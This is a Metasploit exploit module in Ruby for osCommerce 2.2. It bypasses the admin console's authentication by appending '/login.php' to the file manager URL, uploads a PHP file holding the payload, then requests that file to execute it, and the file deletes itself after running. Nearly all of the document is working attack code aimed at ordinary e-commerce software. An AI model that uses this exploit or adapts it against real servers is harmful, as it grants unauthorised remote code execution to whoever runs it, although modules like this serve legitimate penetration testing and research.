##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'osCommerce 2.2 Arbitrary PHP Code Execution',
      'Description'    => %q{
          osCommerce is a popular open source E-Commerce application.
        The admin console contains a file management utility that
        allows administrators to upload, download, and edit files.
        This could be abused to allow unauthenticated attackers to
        execute arbitrary code with the permissions of the
        webserver.
      },
      'Author'         => [ 'egypt' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '60018' ],
          [ 'EDB', '9556' ]
        ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Payload'        =>
        {
          'Space'       => 4000,
          # max url length for some old versions of apache according to
          # http://www.boutell.com/newfaq/misc/urllength.html
          'DisableNops' => true,
          #'BadChars'    => %q|'"`|,  # quotes are escaped by PHP's magic_quotes_gpc in a default install
          'Compat'      =>
            {
              'ConnectionType' => 'find',
            },
          # Since our payload is uploaded as a file, it is polite to
          # clean up after ourselves.
          'Prepend'     => "unlink(__FILE__);",
          'Keys'        => ['php'],
        },
      'Targets'        => [ ['Automatic', { }], ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Aug 31 2009'
      ))

    register_options(
      [
        OptString.new('URI',   [ true,  "Base osCommerce directory path", '/catalog/']),
      ], self.class)

  end

  def exploit
    # Our filename gets run through basename(), so we can have arbitrary
    # junk in front of slashes and it will get stripped out. The unlink in
    # Payload => Prepend above ensures that the file is deleted.
    filename  = rand_text_alphanumeric(rand(5)+5) + "/"
    (rand(5)+5).times do
      filename << rand_text_alphanumeric(rand(5)+5) + "/"
    end
    filename << rand_text_alphanumeric(rand(5)+5) + ".php"


    p = rand_text_english(rand(100)+100) + "<?php " + payload.encoded + " ?>" + rand_text_english(rand(100)+100)
    p = Rex::Text.uri_encode(p)
    data = "filename=#{filename}&file_contents=#{p}"

    print_status("Sending file save request")
    response = send_request_raw({
      'uri'	  => normalize_uri(datastore['URI'], "admin/file_manager.php/login.php") + "?action=save",
      'method'  => 'POST',
      'data'    => data,
      'ctype'   => 'application/x-www-form-urlencoded'
    }, 3)

    # If the upload worked, the server tries to redirect us to some info
    # about the file we just saved
    if response and response.code != 302
      print_error("Server returned non-302 status code (#{response.code})")
    end

    print_status("Requesting our payload")
    # very short timeout because the request may never return if we're
    # sending a socket payload
    timeout = 0.1
    response = send_request_raw({
      # Allow findsock payloads to work
      'global' => true,
      'uri' => normalize_uri(datastore['URI'], File.basename(filename))
    }, timeout)

    handler
  end
end